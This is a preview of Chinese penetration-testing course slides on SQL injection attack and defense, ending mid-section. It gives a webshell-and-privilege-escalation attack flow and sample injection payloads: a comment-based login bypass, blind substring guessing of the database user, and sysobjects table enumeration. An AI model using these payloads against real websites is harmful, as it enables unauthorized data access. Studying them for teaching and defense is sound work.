Web基礎(chǔ)滲透與防護(hù)(第2版)課件 項(xiàng)目五SQL注入攻擊與防御_第1頁
Web基礎(chǔ)滲透與防護(hù)(第2版)課件 項(xiàng)目五SQL注入攻擊與防御_第2頁
Web基礎(chǔ)滲透與防護(hù)(第2版)課件 項(xiàng)目五SQL注入攻擊與防御_第3頁
Web基礎(chǔ)滲透與防護(hù)(第2版)課件 項(xiàng)目五SQL注入攻擊與防御_第4頁
Web基礎(chǔ)滲透與防護(hù)(第2版)課件 項(xiàng)目五SQL注入攻擊與防御_第5頁
已閱讀5頁,還剩135頁未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡介

項(xiàng)目五

SQL注入攻擊與防御5.1項(xiàng)目描述 5.2項(xiàng)目分析 5.3項(xiàng)目小結(jié) 5.4項(xiàng)目訓(xùn)練 5.5實(shí)訓(xùn)任務(wù) 5.1項(xiàng)目描述SVU?公司新開發(fā)了基于Web的用戶管理系統(tǒng),可以通過??使用用戶?ID?進(jìn)行信息查詢滲透測試工程師小?D?負(fù)責(zé)測試該項(xiàng)功能的安全,并提出針對(duì)性的加固方案。因此,小?D?需要了解?SQL?注入攻擊的基礎(chǔ)知?識(shí)。本項(xiàng)目的具體要求如下:(1)測試注入點(diǎn)類型;(2)測試?SQL?注入繞過方法;(3)測試是否可以控制服務(wù)器;(4)針對(duì)測試結(jié)果,給出加固方?案。5.2項(xiàng)目分析SQL

注入攻擊是攻擊者對(duì)數(shù)據(jù)庫進(jìn)行攻擊的常用手段之一,也是最有效的攻擊手段之一。這是因?yàn)?,通過?Web?客戶端注入的?SQL?命令與原有功能需要執(zhí)行的?SQL?命令是相同的,瀏覽器與防火墻等安全設(shè)備不能阻斷?SQL?命令的執(zhí)行,數(shù)據(jù)庫服務(wù)器同樣無法阻斷對(duì)注入的?SQL?命令的解析與執(zhí)行。防御?SQL?注入攻擊的方法是降低數(shù)據(jù)庫連接用戶的權(quán)限,對(duì)需要執(zhí)行的?SQL?命令進(jìn)行嚴(yán)格的代碼審計(jì)。針對(duì)上述情況,本項(xiàng)目的任務(wù)布置如?下:5.2項(xiàng)目分析項(xiàng)目目標(biāo)(1)了解SQL注入的基本原理。(2)掌握不同數(shù)據(jù)庫識(shí)別的方法與原理。(3)掌握不同數(shù)據(jù)庫的特點(diǎn)。(4)利用SQL注入完成對(duì)MySQL數(shù)據(jù)庫的滲透測試。(5)學(xué)會(huì)程序設(shè)計(jì)中防御SQL注入攻擊的基本方法。5.2項(xiàng)目實(shí)施流程項(xiàng)目任務(wù)列表(1)利用簡單的SQL注入實(shí)驗(yàn)分析攻擊原理。(2)利用PHP程序搜索實(shí)現(xiàn)對(duì)MySQL數(shù)據(jù)庫的注入。(3)分析非文本框輸入方式的SQL注入方法。(4)分析針對(duì)返回固定錯(cuò)誤信息的滲透方法。(5)利用SQL注入漏洞對(duì)文件進(jìn)行讀/寫。(6)利用sqlmap完成SQL注入。(7)防范SQL注入攻擊。

5.2項(xiàng)目實(shí)施流程SQL注入攻擊典型流程發(fā)現(xiàn)注入點(diǎn)數(shù)據(jù)庫類型判斷表結(jié)構(gòu)判斷獲取數(shù)據(jù)獲取賬號(hào)上傳Websehll提權(quán)(1)判斷?Web?系統(tǒng)使用的腳本語言,發(fā)現(xiàn)注入點(diǎn),并確定是否存在?SQL?注入漏?洞。(2)判斷?Web?系統(tǒng)的數(shù)據(jù)庫類?型。(3)判斷數(shù)據(jù)庫中表及相應(yīng)字段的結(jié)?構(gòu)。(4)構(gòu)造注入語句,得到表中數(shù)據(jù)內(nèi)?容。(5)查找網(wǎng)站管理員后臺(tái),使用得到的管理員賬號(hào)和密碼登?錄。(6)結(jié)合其他漏洞,想辦法上傳一個(gè)?Webshell。(7)進(jìn)一步提權(quán),得到服務(wù)器的系統(tǒng)權(quán)?限。5.2項(xiàng)目實(shí)施流程認(rèn)識(shí)SQL注入SQL注入概念:所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請(qǐng)求的查詢字符串,欺騙服務(wù)器執(zhí)行惡意的SQL命令。項(xiàng)目相關(guān)知識(shí)點(diǎn)5.2項(xiàng)目實(shí)施流程SQL注入產(chǎn)生的原因基本所有電子商務(wù)應(yīng)用程序都使用數(shù)據(jù)庫來存儲(chǔ)信息。不論是產(chǎn)品信息,賬目信息還是其它類型的數(shù)據(jù),數(shù)據(jù)庫都是Web應(yīng)用環(huán)境中非常重要的環(huán)節(jié)。SQL命令就是前端Web和后端數(shù)據(jù)庫之間的接口,使得數(shù)據(jù)可以傳遞到Web應(yīng)用程序,也可以從其中發(fā)送出來。需要對(duì)這些數(shù)據(jù)進(jìn)行控制,保證用戶只能得到授權(quán)給他的信息??墒?,很多Web站點(diǎn)都會(huì)利用用戶輸入的參數(shù)動(dòng)態(tài)的生成SQL查詢要求,攻擊者通過在URL、表格域,或者其他的輸入域中輸入自己的SQL命令,以此改變查詢屬性,騙過應(yīng)用程序,從而可以對(duì)數(shù)據(jù)庫進(jìn)行不受限的訪問。因?yàn)镾QL查詢經(jīng)常用來進(jìn)行驗(yàn)證、授權(quán)、訂購、打印清單等,所以,允許攻擊者任意提交SQL查詢請(qǐng)求是非常危險(xiǎn)的。通常,攻擊者可以不經(jīng)過授權(quán),使用SQL輸入從數(shù)據(jù)庫中獲取信息。5.2項(xiàng)目實(shí)施流程SQL注入使用的時(shí)機(jī)當(dāng)Web應(yīng)用向后端的數(shù)據(jù)庫提交輸入時(shí),就可能遭到SQL注入攻擊??梢詫QL命令人為的輸入到URL、表格域,或者其他一些動(dòng)態(tài)生成的SQL查詢語句的輸入?yún)?shù)中,完成上述攻擊。因?yàn)榇蠖鄶?shù)的Web應(yīng)用程序都依賴于數(shù)據(jù)庫的海量存儲(chǔ)和相互間的邏輯關(guān)系(用戶權(quán)限許可,設(shè)置等),所以,每次的查詢中都會(huì)存在大量的參數(shù)。5.2項(xiàng)目實(shí)施流程MySQL介紹:SQL是結(jié)構(gòu)化查詢語言的簡稱,它是全球通用的標(biāo)準(zhǔn)數(shù)據(jù)庫查詢語言,主要用于關(guān)系型數(shù)據(jù)的操作和管理,如增加記錄,刪除記錄,更改記錄,查詢記錄等。常用命令如下:1)命令:select 功能:用于查詢記錄和賦值范例:selecti,j,kfromA(i,j,k是表A中僅有的列名)selecti='1'(將i賦值為字符1)Select*fromA(含義同第一個(gè)例句)2)命令:update 功能:用于修改記錄

范例:updateAseti=2wherei=1(修改A表中i=1的i值為2)5.2項(xiàng)目實(shí)施流程3)命令:insert 功能:用于添加記錄

范例:insertintoAvalues(1,'2',3)(向A表中插入一條記錄(i,j,k)對(duì)應(yīng)為(1,'2',3))4)命令:delete 功能:用于刪除記錄

范例:deleteAwherei=2(刪除A標(biāo)中i=2的所有表項(xiàng))5)命令:from 功能:用于指定操作的對(duì)象名(表,視圖,數(shù)據(jù)庫等的名稱)范例:見select6)命令:where 功能:用于指定查詢條件

范例:select*fromA,BwhereA.name=B.nameandA.id=B.id7)命令:and 功能:邏輯與

范例:1=1and2<=25.2項(xiàng)目實(shí)施流程8)命令:or功能:邏輯或

范例:1=1or1>29)命令:not 功能:邏輯非

范例:not1>110)命令:= 功能:相等關(guān)系或賦值

范例:見and、or、not11)命令:>,>=,<,<= 功能:關(guān)系運(yùn)算符

范例:與相等關(guān)系('=')的用法一致。12)命令:單引號(hào)(“'”) 功能:用于指示字符串型數(shù)據(jù)

范例:見select5.2項(xiàng)目實(shí)施流程13)命令:逗號(hào)

功能:分割相同的項(xiàng)

范例:見select14)命令:* 功能:通配符所有

范例:見select15)命令:--功能:行注釋

范例:--這里的語句將不被執(zhí)行!16)命令:/**/ 功能:塊注釋

范例:/*這里的語句將不被執(zhí)行!*/5.2項(xiàng)目實(shí)施流程MySQL是一個(gè)快速而又健壯的關(guān)系型數(shù)據(jù)庫管理系統(tǒng)(RDBMS)。數(shù)據(jù)庫允許使用者高效地存儲(chǔ)、搜索、排序和檢索數(shù)據(jù)。MySQL服務(wù)器控制用戶對(duì)數(shù)據(jù)的訪問,從而確保多用戶可以并發(fā)地使用它,同時(shí)提供快速訪問,并且確保只有通過驗(yàn)證的用戶才能獲得數(shù)據(jù)訪問權(quán)限。因此,MySQL是一個(gè)多用戶、多線程的服務(wù)器。它使用了結(jié)構(gòu)化查詢語言(SQL)。MySQL是世界上最受歡迎的開放源代碼數(shù)據(jù)庫之一。MySQL的主要競爭產(chǎn)品包括PostgreSQL、MicrosoftSQLServer和Oracle。MySQL具有許多優(yōu)點(diǎn),如高性能、低成本、易于配置和學(xué)習(xí)、可移植性、源代碼可供使用等。

5.2項(xiàng)目實(shí)施流程information_schema數(shù)據(jù)庫是MySQL自帶的數(shù)據(jù)庫,它提供了數(shù)據(jù)庫元數(shù)據(jù)的訪問方式。information_schema就像是MySQL實(shí)例的百科全書,記錄了數(shù)據(jù)庫中大部分用戶需要了解的信息,如字符集、數(shù)據(jù)庫實(shí)體對(duì)象信息、外檢約束、分區(qū)、壓縮表、表信息、索引信息、參數(shù)、優(yōu)化、鎖和事務(wù)等。用戶可以通過information_schema了解MySQL實(shí)例的運(yùn)行情況和基本信息。5.2項(xiàng)目實(shí)施流程關(guān)于字符集和排序規(guī)則相關(guān)的系統(tǒng)表CHARACTER_SETS:存儲(chǔ)數(shù)據(jù)庫相關(guān)字符集信息(memory存儲(chǔ)引擎)COLLATIONS:字符集對(duì)應(yīng)的排序規(guī)則COLLATION_CHARACTER_SET_APPLICABILITY:就是一個(gè)字符集和連線校對(duì)的一個(gè)對(duì)應(yīng)關(guān)系而已

字符集(charactersets)存儲(chǔ)字符串,是指人類語言中最小的表義符號(hào)。例如’A'、’B’等;

排序規(guī)則(collations)規(guī)則比較字符串,collations是指在同一字符集內(nèi)字符之間的比較規(guī)則

每個(gè)字符序唯一對(duì)應(yīng)一種字符集,但一個(gè)字符集可以對(duì)應(yīng)多種字符序,其中有一個(gè)是默認(rèn)字符序(DefaultCollation)35.2項(xiàng)目實(shí)施流程MySQL中的字符序名稱遵從命名慣例:以字符序?qū)?yīng)的字符集名稱開頭;以_ci(表示大小寫不敏感)、_cs(表示大小寫敏感)或_bin(表示按編碼值比較)結(jié)尾。例如:在字符序“utf8_general_ci”下,字符“a”和“A”是等價(jià)的??匆幌掠嘘P(guān)于字符集和校對(duì)相關(guān)的MySQL變量:character_set_server:默認(rèn)的內(nèi)部操作字符集character_set_client:客戶端來源數(shù)據(jù)使用的字符集character_set_connection:連接層字符集character_set_results:查詢結(jié)果字符集character_set_database:當(dāng)前選中數(shù)據(jù)庫的默認(rèn)字符集character_set_system:系統(tǒng)元數(shù)據(jù)(字段名等)字符集5.2項(xiàng)目實(shí)施流程權(quán)限相關(guān)的一些表SCHEMA_PRIVILEGES:提供數(shù)據(jù)庫的相關(guān)權(quán)限,這個(gè)表是內(nèi)存表,是從mysql.db中取出來的。TABLE_PRIVILEGES:提供表權(quán)限相關(guān)信息,這些信息是從mysql.tables_priv表中加載的。COLUMN_PRIVILEGES:用戶從這個(gè)表中可以清楚地看到表授權(quán)的用戶對(duì)象,哪張表哪個(gè)庫,以及授予什么權(quán)限,如果授權(quán)的時(shí)候加上withgrantoption,用戶會(huì)看到PRIVILEGE_TYPE這個(gè)值是YES。USER_PRIVILEGES:提供表權(quán)限相關(guān)信息,這些信息是從mysql.user表中加載的。通過上面這些表可以很清晰地看到MySQL授權(quán)的層次,這在某些應(yīng)用場景下還是很有用的,如審計(jì)等。5.2項(xiàng)目實(shí)施流程存儲(chǔ)數(shù)據(jù)庫系統(tǒng)的實(shí)體對(duì)象的一些表COLUMNS:存儲(chǔ)表的字段信息。INNODB_SYS_COLUMNS:存儲(chǔ)的是INNODB的元數(shù)據(jù),它是依賴SYS_COLUMNS這個(gè)統(tǒng)計(jì)表而存在的。ENGINES:引擎類型,如是否支持分布式事務(wù),是否支持事務(wù)的回滾點(diǎn)等。EVENTS:記錄MySQL中的事件,類似于定時(shí)作業(yè)。FILES:這個(gè)表是內(nèi)存表,其中的數(shù)據(jù)是從InnoDBin-memory中取出來的,每次重啟要重新進(jìn)行獲取。PARAMETERS:參數(shù)表,存儲(chǔ)一些存儲(chǔ)過程和方法的參數(shù),以及存儲(chǔ)過程的返回值信息。5.2項(xiàng)目實(shí)施流程PLUGINS:存儲(chǔ)MySQL的插件信息。ROUTINES:記錄關(guān)于存儲(chǔ)過程和方法的一些信息,不包括用戶自定義的信息。SCHEMATA:這個(gè)表提供了實(shí)例下有多少個(gè)數(shù)據(jù)庫,以及數(shù)據(jù)庫默認(rèn)的字符集。TRIGGERS:存儲(chǔ)觸發(fā)器的信息,包括系統(tǒng)觸發(fā)器和用戶創(chuàng)建的觸發(fā)器。VIEWS:存儲(chǔ)視圖的信息。5.2項(xiàng)目實(shí)施流程約束外鍵等相關(guān)的一些表:REFERENTIAL_CONSTRAINTS:提供外鍵的相關(guān)信息。TABLE_CONSTRAINTS:提供相關(guān)的約束信息。INNODB_SYS_FOREIGN_COLS:存儲(chǔ)INNODB關(guān)于外鍵的元數(shù)據(jù)信息,與SYS_FOREIGN_COLS存儲(chǔ)的信息是一致的。INNODB_SYS_FOREIGN:存儲(chǔ)INNODB關(guān)于外鍵的元數(shù)據(jù)信息,與SYS_FOREIGN_COLS存儲(chǔ)的信息是一致的。KEY_COLUMN_USAGE:存儲(chǔ)數(shù)據(jù)庫中所有有約束的列,也會(huì)記錄約束的名字和類別。5.2項(xiàng)目實(shí)施流程關(guān)于管理的表:GLOBAL_STATUS、GLOBAL_VARIABLES、SESSION_STATUS、SESSION_VARIABLES:這4個(gè)表分別記錄了系統(tǒng)的變量和狀態(tài)(全局和會(huì)話的信息),它們也是內(nèi)存表。PARTITIONS:存儲(chǔ)MySQL分區(qū)表的相關(guān)信息,通過它可以查詢分區(qū)的相關(guān)信息(數(shù)據(jù)庫中已分區(qū)的表,以及分區(qū)表的分區(qū)和每個(gè)分區(qū)的數(shù)據(jù)信息)。PROCESSLIST:showprocesslist其實(shí)就是從這個(gè)表中獲取數(shù)據(jù),這個(gè)表也是內(nèi)存表,等價(jià)于在內(nèi)存中進(jìn)行數(shù)據(jù)處理,所以速度快。INNODB_CMP_PER_INDEX、INNODB_CMP_PER_INDEX_RESET:這兩個(gè)表中存儲(chǔ)的是INNODB壓縮表的相關(guān)信息,包括整個(gè)表和索引信息。INNODB壓縮表中不管是數(shù)據(jù)還是二級(jí)索引都會(huì)被壓縮,因?yàn)閿?shù)據(jù)本身也可以看作一個(gè)聚集索引。5.2項(xiàng)目實(shí)施流程INNODB_CMPMEM、INNODB_CMPMEM_RESET:這兩個(gè)表用于存放關(guān)于MySQLINNODB的壓縮頁的bufferpool信息,這兩個(gè)表默認(rèn)是關(guān)閉狀態(tài)。要打開它們,需要設(shè)置innodb_cmp_per_index_enabled參數(shù)為ON狀態(tài)。INNODB_BUFFER_POOL_STATS:該表提供有關(guān)INNODB的bufferpool相關(guān)信息,和showengineinnodbstatus提供的信息是相同的,也是showengineinnodbstatus的信息來源。INNODB_BUFFER_PAGE_LRU、INNODB_BUFFER_PAGE:維護(hù)INNODBLRULIST的相關(guān)信息。INNODB_BUFFER_PAGE:用于存儲(chǔ)buffer緩沖的頁數(shù)據(jù)。查詢這個(gè)表會(huì)對(duì)系統(tǒng)性能產(chǎn)生嚴(yán)重的影響。INNODB_SYS_DATAFILES:該表記錄表中文件存儲(chǔ)的位置和表空間的對(duì)應(yīng)關(guān)系。INNODB_TEMP_TABLE_INFO:這個(gè)表中記錄所有INNODB的所有用戶用到的信息,但是只能記錄內(nèi)存中的信息和沒有持久化的信息。5.2項(xiàng)目實(shí)施流程INNODB_METRICS:提供INNODB的各種性能指數(shù),是對(duì)INFORMATION_SCHEMA的補(bǔ)充,收集的是MySQL的系統(tǒng)統(tǒng)計(jì)信息,這些統(tǒng)計(jì)信息都可手動(dòng)打開或關(guān)閉。參數(shù)innodb_monitor_enable、innodb_monitor_disable、innodb_monitor_reset、innodb_monitor_reset_all是可以控制的。INNODB_SYS_VIRTUAL:該表存儲(chǔ)的是INNODB表的虛擬列的信息。在MySQL5.7中,支持兩種GeneratedColumn,即VirtualGeneratedColumn和StoredGeneratedColumn。前者只將GeneratedColumn保存在數(shù)據(jù)字典中(表的元數(shù)據(jù)),并不會(huì)將這一列數(shù)據(jù)持久化到磁盤上;后者會(huì)將GeneratedColumn持久化到磁盤上,而不是每次讀取的時(shí)候計(jì)算所得。后者存放通過已有數(shù)據(jù)計(jì)算后的數(shù)據(jù),需要更多的磁盤空間,與實(shí)際存儲(chǔ)一列數(shù)據(jù)相比并沒有優(yōu)勢。因此,在MySQL5.7中,如不指定GeneratedColumn的類型,則默認(rèn)是VirtualGeneratedColumn。INNODB_CMP、INNODB_CMP_RESET:用于存儲(chǔ)壓縮INNODB信息表時(shí)的相關(guān)信息。5.2項(xiàng)目實(shí)施流程與信息和索引相關(guān)的?表:

TABLES,TABLESPACES,INNODB_SYS_TABLES,INNODB_SYS_TABLESPACES:TABLES:記錄數(shù)據(jù)庫中表的信息,其中包括系統(tǒng)數(shù)據(jù)庫和用戶創(chuàng)建的數(shù)據(jù)庫。showtablestatuslike'test1'\G的數(shù)據(jù)來源就是這個(gè)表。TABLESPACES:標(biāo)注的活躍表空間。INNODB_SYS_TABLES:該表依賴SYS_TABLES數(shù)據(jù)字典中獲取的表,提供關(guān)于INNODB的表空間信息,和SYS_TABLESPACES中的INNODB信息是一致的。STATISTICS:提供關(guān)于表的索引信息。INNODB_SYS_INDEXES:提供INNODB表的索引信息,和SYS_INDEXES這個(gè)表中存儲(chǔ)的信息基本是一樣的,只不過后者提供的是所有存儲(chǔ)引擎的索引信息。5.2項(xiàng)目實(shí)施流程INNODB_SYS_TABLESTATS:此表比較重要,記錄MySQL的INNODB表信息。INNODB_SYS_FIELDS:此表用于記錄INNODB的表索引字段信息,以及字段的排名。INNODB_FT_CONFIG:此表用于存儲(chǔ)全文索引的信息。INNODB_FT_DEFAULT_STOPWORD:此表用于存放STOPWORD的信息,是和全文索引匹配使用的。STOPWORD是停止詞,必須在創(chuàng)建索引之前創(chuàng)建,且必須指定字段為varchar。全文檢索時(shí),停止詞列表將會(huì)被讀取和檢索。INNODB_FT_INDEX_TABLE:此表用于存儲(chǔ)索引使用信息,一般情況下是空的。INNODB_FT_INDEX_CACHE:此表用于存放插入前的記錄信息。5.2項(xiàng)目實(shí)施流程關(guān)于MySQL優(yōu)化相關(guān)的一些表OPTIMIZER_TRACE:提供優(yōu)化跟蹤功能產(chǎn)生的信息。PROFILING:用于查看服務(wù)器執(zhí)行語句的工作情況。SHOWPROFILES:顯示最近發(fā)給服務(wù)器的多條語句,條數(shù)由會(huì)話變量profiling_history_size定義,默認(rèn)是15,最大值為100。設(shè)為0等價(jià)于關(guān)閉分析功能。INNODB_FT_BEING_DELETED、INNODB_FT_DELETED:INNODB_FT_BEING_DELETED是INNODB_FT_DELETED的一個(gè)快照,只在OPTIMIZETABLE過程中才會(huì)使用。5.2項(xiàng)目實(shí)施流程關(guān)于MySQL事物和鎖的相關(guān)的一些表INNODB_LOCKS:當(dāng)前獲取的鎖,僅針對(duì)INNODB。INNODB_LOCK_WAITS:系統(tǒng)鎖等待的相關(guān)信息。INNODB_TRX:所有正在執(zhí)行的事務(wù)的相關(guān)信息(INNODB)。5.2項(xiàng)目實(shí)施流程(1)方法1任何輸入,不論是Web頁面中的表格域,還是一條SQL查詢語句中API的參數(shù),都有可能遭受SQL注入攻擊。如果沒有采取適當(dāng)?shù)姆婪洞胧?,那么攻擊只有在攻擊者?duì)數(shù)據(jù)庫的設(shè)計(jì)和查詢操作的結(jié)構(gòu)了解不夠充分的情況下才有可能失敗。SQL在Web應(yīng)用程序中的常見用途就是查詢產(chǎn)品信息。應(yīng)用程序通過CGI參數(shù)建立鏈接,在隨后的查詢中被引用。例如,以下鏈接用來獲得編號(hào)為113的產(chǎn)品詳細(xì)信息:http://www.shopping****.com/goodslist/itemdetail.asp?id=113應(yīng)用程序需要知道用戶希望得到哪種產(chǎn)品的信息,所以瀏覽器會(huì)發(fā)送一個(gè)標(biāo)識(shí)符,通常稱為ID。隨后,應(yīng)用程序動(dòng)態(tài)地將其包含到SQL查詢請(qǐng)求中,以便于從數(shù)據(jù)庫中找到正確的行。下面的查詢語句用來從產(chǎn)品數(shù)據(jù)表中獲取指定ID的產(chǎn)品信息,包括產(chǎn)品名稱、產(chǎn)品圖片、描述和價(jià)格:SELECTname,picture,descrIPtion,priceFROMgoodsWHEREid=1135.2項(xiàng)目實(shí)施流程但是用戶可以在瀏覽器中輕易地修改信息。設(shè)想一下,作為某個(gè)?Web?站點(diǎn)的合法用戶,在登錄這個(gè)站點(diǎn)的時(shí)候輸入?ID?和密碼。下面的?SQL?查詢語句將返回合法用戶的賬戶金額信?息:SELECTaccountdataFROMuserinfoWHEREusername='account'ANDpassword='passwd'上面的?SQL?查詢語句中唯一受用戶控制的部分就是單引號(hào)中的字符串。這些字符串就是用戶在?Web?表格中輸入的內(nèi)容。Web?應(yīng)用程序自動(dòng)生成了查詢語句的剩余部分。通常,其他用戶在查看此賬號(hào)信息時(shí),需要同時(shí)知道?ID?和密碼,但通過?SQL?注入的攻擊者可以繞過全部檢?查。例如,當(dāng)攻擊者知道系統(tǒng)中存在一個(gè)叫作?Tom?的用戶時(shí),他會(huì)將下面的內(nèi)容輸入用戶賬號(hào)的表格域:Tom'--。目的是在?SQL?請(qǐng)求中使用注釋符“--”,這將會(huì)動(dòng)態(tài)地生成如下的?SQL?查詢語句:SELECTaccountdataFROMuserinfoWHEREusername='Tom'--'ANDpassword='passwd'5.2項(xiàng)目實(shí)施流程由于“--”符號(hào)表示注釋,其后的內(nèi)容都被忽略,那么實(shí)際的語句如下:SELECTaccountdataFROMuserinfoWHEREusername='Tom'攻擊者沒有輸入Tom的密碼,卻從數(shù)據(jù)庫中查到了用戶Tom的全部信息。注意這里所使用的語法,作為用戶,可以在用戶名之后使用單引號(hào)。這個(gè)單引號(hào)也是SQL查詢請(qǐng)求的一部分,這就意味著,可以改變提交到數(shù)據(jù)庫的查詢語句結(jié)構(gòu)。在上面的案例中,查詢操作本來應(yīng)該在用戶名和密碼都正確的情況下才能進(jìn)行,而輸入的注釋符將一個(gè)查詢條件移除了,這嚴(yán)重危及查詢操作的安全性。允許用戶通過這種方式修改Web應(yīng)用中的代碼,是非常危險(xiǎn)的。5.2項(xiàng)目實(shí)施流程(2)方法2一般的應(yīng)用程序?qū)?shù)據(jù)庫進(jìn)行的操作都是通過SQL語句進(jìn)行的,如查詢表A中num=8的用戶的所有信息,通過下面的語句來進(jìn)行:select*fromAwherenum=8對(duì)應(yīng)頁面地址可能是/list.jsp?num=8。一個(gè)復(fù)合條件的查詢語句如下:select*fromAwhereid=8andname='k'對(duì)應(yīng)頁面地址可能是/aaa.jsp?id=8&name=k。通常,數(shù)據(jù)庫應(yīng)用程序中where子句后面的條件部分都是在程序中按需要?jiǎng)討B(tài)創(chuàng)建的,如下面的方法:StringstrID=request.getParameter("id");//獲得請(qǐng)求參數(shù)id的字符串值StringstrName=request.getParameter("name");//獲得請(qǐng)求參數(shù)name的字符串值Stringstr="select*fromAwhereid="+strID+"andname=\'"+strName+"\'";//執(zhí)行數(shù)據(jù)庫操作

5.2項(xiàng)目實(shí)施流程當(dāng)strID、strName

從前臺(tái)獲得的數(shù)據(jù)中包含“'”“and1=1”“or1=1”“--”時(shí),就會(huì)出現(xiàn)具有特殊意義的SQL語句。當(dāng)包含“id=8--”時(shí),上面的頁面地址變?yōu)?aaa.jsp?id=8--&&name=k。對(duì)應(yīng)的語句變成

select*fromAwhereid=8--andname='k'。這里,“--”后面的條件andname='k'不會(huì)被執(zhí)行,因?yàn)樗弧?-”注釋了。下面這個(gè)例子能夠說明SQL注入攻擊的危害性。MicrosoftSQLServer2000中的user變量,用于存儲(chǔ)當(dāng)前登錄的用戶名,因此可以通過猜解它來獲得當(dāng)前數(shù)據(jù)庫用戶名,從而確定當(dāng)前數(shù)據(jù)庫的操作權(quán)限是不是最高用戶權(quán)限。攻擊者在一個(gè)可以注入的頁面請(qǐng)求地址后面加上下面的語句,通過修改數(shù)值范圍,截取字符的位置,并重復(fù)嘗試,就可以猜解出當(dāng)前數(shù)據(jù)庫連接的用戶名:and(SubString(user,1,1)>65andSubString(user,1,1)<90)如果正常返回,則說明當(dāng)前數(shù)據(jù)庫操作用戶名的前一個(gè)字符在A~Z的范圍內(nèi),逐步縮小猜解范圍,就可以確定猜解內(nèi)容。SubString()是MicrosoftSQLServer2000數(shù)據(jù)庫中提供的系統(tǒng)函數(shù),用于獲取字符串的子串。65和90分別是字母A和Z的ASCII碼。5.2項(xiàng)目實(shí)施流程在數(shù)據(jù)庫中查找用戶表(需要一定的數(shù)據(jù)庫操作權(quán)限),可以使用下面的復(fù)合語句:and(selectcount(*)fromsysobjectswherextype='u')>nn取1,2,…,通過上面的語句可以判斷數(shù)據(jù)庫中有多少個(gè)用戶表。可以通過and(substring((selecttop1namefromsysobjectswherextype='u'),1,1)=字符)的形式逐步猜解出表名。利用構(gòu)建的SQL注入語句,可以查詢出數(shù)據(jù)庫中的大部分信息,只要構(gòu)建的語句能夠欺騙被注入程序按注入者的意圖執(zhí)行,并能夠正確分析程序返回的信息,注入者就可以控制整個(gè)系統(tǒng)?;诰W(wǎng)頁地址的SQL注入只是利用了頁面地址攜帶參數(shù)這一性質(zhì),來構(gòu)建特殊的SQL語句,以實(shí)現(xiàn)對(duì)Web應(yīng)用程序的惡意操作(查詢、修改、添加等)。事實(shí)上,SQL注入不一定只針對(duì)瀏覽器地址欄中的URL。任何一個(gè)數(shù)據(jù)庫應(yīng)用程序?qū)η芭_(tái)傳入數(shù)據(jù)的處理不當(dāng)都會(huì)產(chǎn)生SQL注入漏洞,如一個(gè)網(wǎng)頁表單的輸入項(xiàng)、應(yīng)用程序中文本框的輸入信息等。5.2項(xiàng)目實(shí)施流程SQL注入數(shù)據(jù)庫類型識(shí)別要想成功發(fā)動(dòng)SQL注入攻擊,最重要的是知道應(yīng)用正在使用的數(shù)據(jù)庫服務(wù)器類型,可以快速準(zhǔn)確的針對(duì)性注入。Web應(yīng)用技術(shù)將為我們提供首條線索。例如,ASP和.NET通常使用MicrosoftSQLServer作為后臺(tái)數(shù)據(jù)庫,而PHP應(yīng)用則很可能使用MySQL或PostgreSQL。使用Java編寫的應(yīng)用,可能使用Oracle或MySQL數(shù)據(jù)庫。底層操作系統(tǒng)也可以提供一些線索。安裝IIS作為信息服務(wù)器平臺(tái)標(biāo)志著應(yīng)用基于Windows架構(gòu),后臺(tái)數(shù)據(jù)庫可能為MicrosoftSQLServer。運(yùn)行Apache和PHP的Linux服務(wù)器則很可能使用的是開源數(shù)據(jù)庫,如MySQL或PostgreSQL。在開展跟蹤工作時(shí)應(yīng)不僅僅考慮這些因素,管理員要將不同技術(shù)以不平常的方式組合起來使用。5.2項(xiàng)目實(shí)施流程識(shí)別數(shù)據(jù)庫類型最好的方式在很大程度上取決于是否處于盲態(tài)。如果應(yīng)用程序返回查詢結(jié)果和數(shù)據(jù)庫服務(wù)器錯(cuò)誤消息,那么跟蹤會(huì)相當(dāng)簡單,可以很容易地通過輸出結(jié)果來了解關(guān)于底層技術(shù)的信息。但如果處于盲態(tài),無法讓應(yīng)用返回?cái)?shù)據(jù)庫服務(wù)器錯(cuò)誤消息,那么就需要改變方法,嘗試注入多種已知的、只針對(duì)特定技術(shù)才能執(zhí)行的查詢語句。通過判斷這些查詢語句中的哪一條被成功執(zhí)行,就可獲取當(dāng)前數(shù)據(jù)庫類型的準(zhǔn)確信息。(1)非盲跟蹤多數(shù)情況下,要了解后臺(tái)數(shù)據(jù)庫服務(wù)器,只需要查看一條足夠詳細(xì)的錯(cuò)誤消息即可。根據(jù)執(zhí)行查詢所使用的數(shù)據(jù)庫服務(wù)器技術(shù)的不同,這條由同類型SQL錯(cuò)誤產(chǎn)生的消息也會(huì)各不相同。例如,添加單引號(hào)將迫使數(shù)據(jù)庫服務(wù)器將單引號(hào)后面的字符看作字符串而非SQL代碼,這會(huì)產(chǎn)生一條語法錯(cuò)誤。對(duì)與MicrosoftSQLServer來說,最終的錯(cuò)誤消息如下所示:

5.2項(xiàng)目實(shí)施流程

很難想象事情競?cè)绱撕唵?,錯(cuò)誤消息中明確提到了“SQLServer",還附加了一些關(guān)于出錯(cuò)內(nèi)容的有用細(xì)節(jié)。在后面構(gòu)造正確的查詢時(shí),這些信息會(huì)很有幫助。而MySQL5.0產(chǎn)生的語法錯(cuò)誤則可能如下所示:這里的錯(cuò)誤消息也包含了清晰的、關(guān)于數(shù)據(jù)庫服務(wù)器技術(shù)的線索。其他錯(cuò)誤可能用處不大,但通常這不是問題。請(qǐng)注意后面這條錯(cuò)誤消息開頭部分的兩個(gè)錯(cuò)誤代碼。這些代碼本身就是MySQL的“簽名”。例如,當(dāng)嘗試從同一MySQL上一張不存在的表中提取數(shù)據(jù)時(shí),會(huì)收到下列錯(cuò)誤:

